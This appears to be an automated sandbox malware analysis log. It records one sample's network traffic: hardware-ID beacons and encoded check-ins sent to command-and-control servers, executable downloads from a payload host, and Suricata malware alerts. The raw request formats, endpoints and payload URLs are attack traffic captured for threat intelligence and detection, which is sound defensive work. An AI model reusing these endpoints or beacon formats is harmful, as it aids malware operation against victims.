Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="build"tale------HJDHCFCBGIDGHJJKJJDG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002537001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="build"tale------AAEGHJKJKKJDHIDHJKJD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 35 33 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002538001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 2d 2d 0d 0a Data Ascii: ------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="build"tale------CBGCBKFBGIIIECAAAKFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFHJDAEHIEHJJKFBGDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 48 4a 44 41 45 48 49 45 48 4a 4a 4b 46 42 47 44 41 2d 2d 0d 0a Data Ascii: ------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------KKFHJDAEHIEHJJKFBGDAContent-Disposition: form-data; name="build"tale------KKFHJDAEHIEHJJKFBGDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 43 37 37 42 31 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12C77B15F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDGCAEBFIIECAKFHIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------GIJDGCAEBFIIECAKFHIJContent-Disposition: form-data; name="build"tale------GIJDGCAEBFIIECAKFHIJ--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 30 45 38 39 38 41 35 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 2d 2d 0d 0a Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="hwid"3D0E898A519D1524750037------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="build"tale------BFIDGDAKFHIEHJKFHDHD--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.149.100.209 34.149.100.209
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49760 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49993 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49997 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50006 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50008 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50012 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50012 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50044 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50094 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
